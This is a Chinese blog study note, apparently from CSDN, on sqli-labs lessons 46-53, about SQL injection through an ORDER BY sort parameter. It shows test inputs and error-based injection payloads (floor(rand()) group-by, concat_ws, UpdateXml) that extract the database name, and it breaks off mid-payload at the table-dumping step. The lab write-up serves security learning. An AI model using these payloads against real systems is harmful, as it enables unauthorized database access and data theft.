sqli-labs学习笔记(十三)less 46-53 order by 后的注入

本文介绍了sqli-labs中关于ORDER BY语句的SQL注入学习,包括报错型和盲注型两种方式,涉及整型和字符型数据。通过实验学习了如何利用ORDER BY后面的参数进行注入,例如利用布尔类型、rand()函数、报错注入、延时注入和procedure analyse参数。
摘要由CSDN通过智能技术生成

前言

继续学习sqli-labs
本篇是less 46-53

Less - 46: GET - Error based - Numeric - ORDER BY CLAUSE 报错型 - order by 注入 - 整型

在这里插入图片描述
按要求输入sort
发现表格顺序不同
在这里插入图片描述
在这里插入图片描述
这关往后都是order by语句与limit语句的相关注入
他们的 URL 中通常都会有sort和limit两个参数

测试漏洞

?sort=1 desc--+
?sort=1 asc--+

在这里插入图片描述
在这里插入图片描述
分别显示升序和降序的表格
说明此处是注入点

order by 后的数字可以作为一个注入点
也就是构造 order by 后的一个语句
让该语句执行结果为一个数

尝试

?sort=right(version(),1)--+
?sort=left(version(),1)--+

在这里插入图片描述
在这里插入图片描述
没有报错,但是 right 和 left 结果都一样
说明数字没有起作用

考虑布尔类型
也可以用报错注入和延时注入

  • ?sort=(select ······)
  • ?sort=1 and (select ······)
  • ?sort=rand(······)
基于报错注入

爆库

?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select group_concat(database()) limit 0,1),0x3a,0x3a,floor(rand()*2)))
?sort=(select 1 from (select count(*),concat_ws('-',(select database()),floor(rand()*2))as a from information_schema.tables group by a) b)
?sort=UpdateXml(1,concat(0x7e,database(),0x7e),1)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

爆表

?sort=(select 1 from (select count(*),concat_ws('-',(
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值